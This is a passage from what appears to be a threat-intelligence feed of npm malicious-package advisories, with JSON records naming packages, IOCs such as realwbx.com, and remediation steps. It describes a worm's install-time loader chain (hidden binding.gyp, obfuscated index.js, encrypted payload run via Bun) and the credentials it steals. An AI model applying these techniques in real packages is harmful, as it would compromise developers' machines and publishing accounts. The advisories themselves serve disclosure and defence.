"https://protet.io/intel/npm/event-emitter-testmetest/1.0.7", "version": "1.0.7"}
{"classification": "tp", "details": "The package ships a hidden `binding.gyp`, so that installing it makes node-gyp run an obfuscated `index.js`. That loader decrypts an embedded payload and pipes the result into the Bun JavaScript runtime, which it downloads if needed. The decrypted program is a credential-stealing, self-propagating worm: it looks for cloud credentials, GitHub Actions tokens (GITHUB_TOKEN and the OIDC identity token) and `.npmrc` files, reads the victim's GitHub repositories and workflows, and uses npm, PyPI and RubyGems publishing credentials to spread. The loader is obfuscated with ROT13 and AES-GCM.\n\nImpact: installing the package on a developer machine or CI job puts every credential reachable there at risk, and can lead to malicious releases published from the victim's accounts.\n\nRemediation: remove the package, treat any machine or CI job that installed it as compromised, rotate all credentials, tokens and publishing keys it could reach, review recent releases and workflow changes in repositories it could access, and run installs with scripts disabled (`npm ci --ignore-scripts`) where possible.", "ecosystem": "npm", "iocs": {}, "osv_aliases": ["MAL-2026-18177"], "package": "data-pipeline-testmetest", "public_id": "PROTET-NPM-2026-11", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in data-pipeline-testmetest (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/data-pipeline-testmetest/2.0.1", "version": "2.0.1"}
{"classification": "tp", "details": "The package runs `node index.js` from its preinstall script. The script sends an HTTPS GET request to https://realwbx.com/ip.php with a hard-coded Authorization header unique to this package and a fake Node.js User-Agent, which tells the receiving server that the package was installed. The package has no legitimate function: the same maintainer published several packages with internal-looking names and very high version numbers, which matches a dependency-confusion canary campaign.\n\nImpact: the operator of realwbx.com learns that the package was installed and from which network address.\n\nRemediation: remove the package from all projects and lockfiles, pin internal package names to your private registry scope, and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"domains": ["realwbx.com"], "urls": ["https://realwbx.com/ip.php"]}, "osv_aliases": ["MAL-2026-17894"], "package": "idlive-face-capture-web-development", "public_id": "PROTET-NPM-2026-1", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in idlive-face-capture-web-development (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/idlive-face-capture-web-development/78.8.1", "version": "78.8.1"}
{"classification": "btp", "ecosystem": "npm", "osv_aliases": [], "package": "@couchbase/lite-js", "public_id": "PROTET-NPM-2026-10", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "updated_at": "2026-10-22T10:49:06Z", "url": "https://protet.io/intel/npm/@couchbase/lite-js/1.0.3", "version": "1.0.3"}
